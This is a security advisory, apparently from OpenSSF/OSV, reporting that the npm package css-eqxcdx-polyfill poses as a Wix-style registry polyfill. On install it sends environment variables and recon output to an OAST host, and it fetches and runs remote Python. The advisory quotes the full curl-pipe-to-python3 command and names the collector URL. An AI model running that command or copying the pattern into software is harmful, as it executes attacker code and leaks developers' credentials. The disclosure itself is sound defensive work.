OpenSSF/OSV advisory MAL-2026-17573 confirms this npm version as malicious. The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and...
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in css-eqxcdx-polyfill (npm)
Details
The package presents itself as a polyfill exporting Wix thunderbolt-style registry stubs (thunderboltRegistry, siteAssetsRegistry, documentManagementRegistry, editorRegistry, corvidRegistry, etc.), but thunderboltRegistry.js runs an IIFE on module load that performs two installer-side attacks. First, it executes `id`, `whoami`, `env`, and `ifconfig`/`ip addr` via child_process.execSync, collects the OS hostname, and POSTs the output together with a wholesale dump of process environment variables via fetch() to the hardcoded Burp Collaborator OAST host https://unl9pgk6ei4uf80n5tf4iktspjvbuzkn9.oastify.com/, including a tagged `cmd=env` beacon. Environment variables on developer and CI hosts routinely contain cloud, registry, and CI credentials. Second, it runs `curl -L https://appsecc.com/py | python3` via execSync, fetching and executing an arbitrary remote Python payload on the installer's machine, with a self-labeled `cmd=reverse-shell` beacon sent to the same OAST host. The registry-API facade and the Wix-adjacent naming are cover for the reconnaissance and remote code execution in the same file; the package has no legitimate functionality.
Decision reason
OpenSSF Malicious Packages via OSV confirms css-eqxcdx-polyfill@1.0.0 as malicious (MAL-2026-17573): Malicious code in css-eqxcdx-polyfill (npm)